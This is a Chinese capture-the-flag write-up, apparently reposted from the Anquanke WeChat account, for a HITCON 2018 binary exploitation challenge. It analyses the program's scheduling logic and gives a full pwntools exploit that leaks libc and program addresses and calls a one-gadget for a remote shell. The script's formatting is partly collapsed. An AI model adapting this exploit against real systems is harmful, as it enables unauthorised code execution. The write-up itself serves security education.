schedule
start
(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);
-
判断schedule是否符合规范 -
让997个普通Audience随机选择3个中的一个演讲,让2个NiceAudience根据schedule来选择演讲,让你从输入读取选择演讲 -
启动三个线程,线程调用talk函数,传参传的分别是该场次 第一、二、三个演讲,这里启用线程大概的意思是这三个演讲是同时进行的
接下来分析talk函数
david942j
All in one shot - One Gadget RCE
All you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6
Orange
A New Era Of SSRF
The new meaning of SSRF - Special Super Rare Food! Yummmmmmm..
Angelboy
Play with File Structure - Yet Another Binary Exploit
Too easy, even babies know how to exploit with file structure.
Jesmon
Warrior of Salvation
Kid, try my Judgement of the Blade.
v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);
mov rax, fs:[0]
Orange
Angelboy
Jesmon
1. 三个能整除的
2. 第一个为david942j, 第二个为随便一个能整除的,第三个为Jesmon
3. 第一个为随便能整除的,第二个为Orange,第三个为Angelboy
from pwn import *debug=0context.log_level='debug'e=ELF('./libc.so.6')#e=ELF('./libc.so.6')if debug: p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'}) gdb.attach(p)else: p=remote('13.115.73.78', 31733)def ru(x):return p.recvuntil(x)def se(x): p.send(x)def sl(x): p.sendline(x)order=[2,3,5,1,8,9,6,4,7]# schedulesl('3')for i in range(9):for q in range(4): ru('----------------------------------------') sl(str(i+1)+' '+str(order[i]))ru('Exit')sl('4')# choose any one in first roundru('2. ')sl('1')# choose Jesmon in second roundru('2. ')sl('2')ru('Any questions?n')#raw_input()# partial write and leak addressse('x71'*93)libc=u64('x70'+ru('n')[:-1]+'x00x00')if debug: base=libc+0xB5E890else: base=libc+0xB5E890-0x5A8000ru('May I know your name please?')se('a'*31) # repaire ru('Which room you'd like to go?')sl('2')ru('Any questions?n')stack=libc-0x1002988se('a'*91+p64(stack-0x70+0x100))pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program baseru('May I know your name please?n')#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160) #use it to leak rand addresspayload=p64(base+0x4f322) #one gadgetse(payload)print(hex(base))p.interactive()
hitcon的题目质量真的高
- 结尾 - 精彩推荐 【技术分享】】深入理解win32(十一) 【技术分享】ARM 架构—探究绕过NX的一种方式Ret2ZP 【技术分享】DirtyCow学习与调试记录 戳“阅读原文”查看更多内容 原文始发于微信公众号(安全客):【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论